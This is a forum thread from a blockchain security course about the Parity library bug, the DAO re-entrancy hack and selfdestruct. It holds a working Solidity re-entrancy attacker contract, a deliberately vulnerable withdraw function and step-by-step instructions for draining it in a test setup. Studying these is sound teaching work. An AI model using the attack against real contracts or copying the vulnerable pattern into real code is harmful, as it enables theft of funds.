Hacks Demonstrated and Explained Discussion

Hi @padlanau

As soon as you deploy a contract, all the imported libraries are automatically “pasted” in your main contract.
Because of this, even if the library gets cancelled, it will still be available in your contract that will keep working as usual.
You can verify what I wrote by opening a random contract in the blockchain and read it, you will see that it includes lots of different contracts :slight_smile:

Hope that answered your question.

Cheers,
Dani

Thanks for your reply. Yes, you are correct. I am expecting regardless of language that all dependencies will be “pasted” or put into a package.

I think I did not get it. Ivan was explaining on the video about the $280M Ethereum Parity bug. They can’t withdraw it from the wallet bec someone has accidentally deleted the library. So it means, it did not paste this library after deployment… Am I missing something here?

1 Like

That was an issue with the library itself.
The issue is that the owner of that contract was not initialised.
https://github.com/openethereum/parity-ethereum/issues/6995

Hi everybody, I just watched the latest part about replicating the DAO-Hack, but somehow the startScam function doesn’t work… I tried looking where it goes wrong but I couldn’t find the answer. The error that shows up says "transact to attacker.startScam errored: VM error: revert. revert The transaction has been reverted to the initial state. Note: The called function should be payable if you send value and the value you send should be less than your current balance. Debug the transaction to get more information.
"

I hope someone knows what I did wrong. Looking forward to the answer!!
Below is the code of the Attacker.sol

pragma solidity ^0.4.8;

import "./Fundraiser.sol";

contract attacker{
    
    address public fundraiserAddress;
    uint public drainTimes = 0;
    
    function Attacker(address victimAddress){
        fundraiserAddress = victimAddress;
    }
    
    function() payable{
        if(drainTimes<3){
            drainTimes++;
            Fundraiser(fundraiserAddress).withdraw();
        }
    }
    
    function getFunds() returns (uint){
        return address(this).balance;
    }
    function payMe() payable{
        Fundraiser(fundraiserAddress).contribute.value(msg.value)();
    }
    
    function startScam() {
        Fundraiser(fundraiserAddress).withdraw();
    }
}

Here is the Fundraiser.sol

pragma solidity ^0.4.8;

contract Fundraiser{
    
    mapping(address => uint)Balance;
    
    function contribute() payable{
        Balance[msg.sender] += msg.value;
    }
    
    function withdraw(){
        if(Balance[msg.sender] == 0){
            throw;
        }
        if(msg.sender.call.value(Balance[msg.sender])()){
            Balance[msg.sender] = 0;
        }
        else{
            throw;
        }
    }
        function getFunds() returns (uint){
        return address(this).balance;
    }
}

Hey @Sil

I copied and pasted your contract and they work correctly. Are you following the right steps?

  • Deploy Fundraiser
  • Deploy Attacker
  • Copy the address of Fundraiser and use it as parameter for the function Attacker()
  • Deposit 1 ether from the Attacker contract by using the function payMe()
  • Deposit 5 ether from a random address
  • Call function startScam()

Also if you are using remix, please cast your functions getFunds() as view, it’s much better than click and inspect the result :slight_smile:

Happy coding,
Dani

1 Like

I think I was following the steps in the wrong order.

Thanks for helping! I appreciate it a lot!!

1 Like

It’s important that you understand deeply what’s happening in this particular hack, if you feel that you did not get it 100%, watch the video multiple times and take some time to think about it.
Better spend some extra time now that lose lots of ether in your further projects :slight_smile:

Happy learning,
Dani

Thanks for the tip. I watched it several times now and it really helped a lot. I also added view to the getFunds header just because it’s easier to see the results (just as you said). I really understand what happened with the DAO-Hack and how to solve the problem.
I’m going to say it again, thanks a lot for helping a rookie!!

1 Like

You are more than welcome :slight_smile:
Happy learning!

Hi @ivan ,

I just noticed that there is an error in the ReEntrency Fix Code you share here: FundraiserFixedBugDAOHackExplanationCode

Shouldn’t we save the balance before reseting it, so we can actually send the value to the user? In the code you shared, in the link and the video, the value we actually send to the user would be 0. No?
ReEntrencyIvanBug

Hello, I have a question to understand better the DAO hack.
Why the fundraiser will send money to the attacker?
Wasn’t the fundraiser able to see on the blockchain that the contract of the attacker is malicious?

Hi @bigbill

Why the fundraiser will send money to the attacker?
Wasn’t the fundraiser able to see on the blockchain that the contract of the attacker is malicious?

fundraiser would allow any user to withdraw ether if the had deposited some.

A contract does not know if another contract is malicious, also a contract does not know if the address that is calling a function is a user or another contract.

These things are explained in the video, also it’s explained why the fundraiser kept sending ether to the hack contract, watch it once again and let me know if you have questions!

Happy learning,
Dani

Hello everyone,
I’ve found some job ads where the Customer is in need for a review on his code for preventing RugPulls

Is there some useful content that may help me understand how to address this ?

Is this a fancy question to think you could solve rug-pulls through code only ?

https://decrypt.co/55787/defi-rug-pulls-were-cryptos-top-fraud-scheme-in-2020-ciphertrace

Hi,

I hope someone can give me some help in this topic, I am a bit confused about Parity hack, which is caused by library being destroyed by the owner, by calling self destruct. What makes me don’t understand is how it is possible that the function code that has been written on the blockchain can be deleted, it is seem contradictory with immutability nature in blockchain.
If there is a function such as selfdestruct, could you please explain the circumstances in which the function is used.
Is it possible to re-enable the code/function or contract that has been self destructed?

Thanks,
Robby

Hi @rkurniadi

I wrote this small contract for you, I am going to elaborate above and you can also try it while reading my explanation.

pragma solidity 0.8.0;

contract TestSD {
    
    uint public number = 10;
    
    function setNumber (uint _n) public {
        number = _n;
    }
    
    function kill () public {
        selfdestruct(payable(msg.sender));
    }
    
}

Consider the contract above.
It has a variable called number which is set to 10 by default.
It has a function setNumber() that just sets number to whatever uint you will pass to it.

Notice the function kill(), by calling it you also trigger selfdestruct().
What selfdestruct() does is explained in the Solidity documentation (source)

The only way to remove code from the blockchain is when a contract at that address performs the selfdestruct operation. The remaining Ether stored at that address is sent to a designated target and then the storage and code is removed from the state. Removing the contract in theory sounds like a good idea, but it is potentially dangerous, as if someone sends Ether to removed contracts, the Ether is forever lost.

By calling selfdestruct() you are not deleting a contract from the blockchain, you are basically set it back to default values which mean that all the data saved are lost.

If you try to call the function kill() in my contract above, you will see that number will be set to 0.
You will also not be able to call any function in that contract anymore.

Cheers,
Dani

Hi Dani,

Thank you for answering my question. Is there any real world use case when this function is used? for example in a dex or defi project that this function is really needed?

Best Regards,
Robby

Hi @rkurniadi

You can use it if you want to make sure nobody uses your old defi protocol, once you’ve deployed a new one

Hello, I disagree with Ivan’s code. He has the following:

// Ivan's code
balances[msg.sender] = 0;
msg.sender.call.value(balances[msg.sender])();`

// his code would be wrong as the balance would be zero, and that is the amount being transferred
// instead, from another of Fillip's video, it would be better to do the following:
uint tempBalance = balances[msg.sender]
balances[msg.sender] = 0;
msg.sender.call.value(tempBalance);

This would make more sense to me.

Hey @MrSeven

Can you share the video?

Thanks
Dani

Hi Dani,

Fillip did it previously in a video in the Ethereum programming course. Additionally, he did it a few videos later in the Ethereum Security Course:

https://academy.ivanontech.com/lessons/solidity-error-handling-recap (around the 2:30 mark).

Inline image

As you can see, Fillip created another variable (uint amountToWithdraw) to save the balance before changing balanceOf[msg.sender] to zero. Then, Fillip transferred the ‘amountToWithdraw’.

In Ivan’s video, he changed the balance to zero (balances[msg.sender] = 0) and then transferred that amount being zero in the next line, which is incorrect. By doing that, he is essentially transferring zero (see the image below).

Inline image

Ivan should have done what Fillip did, which is create another variable to store the value of the balance before changing the value of the balance to zero.

Best,

David N

2 Likes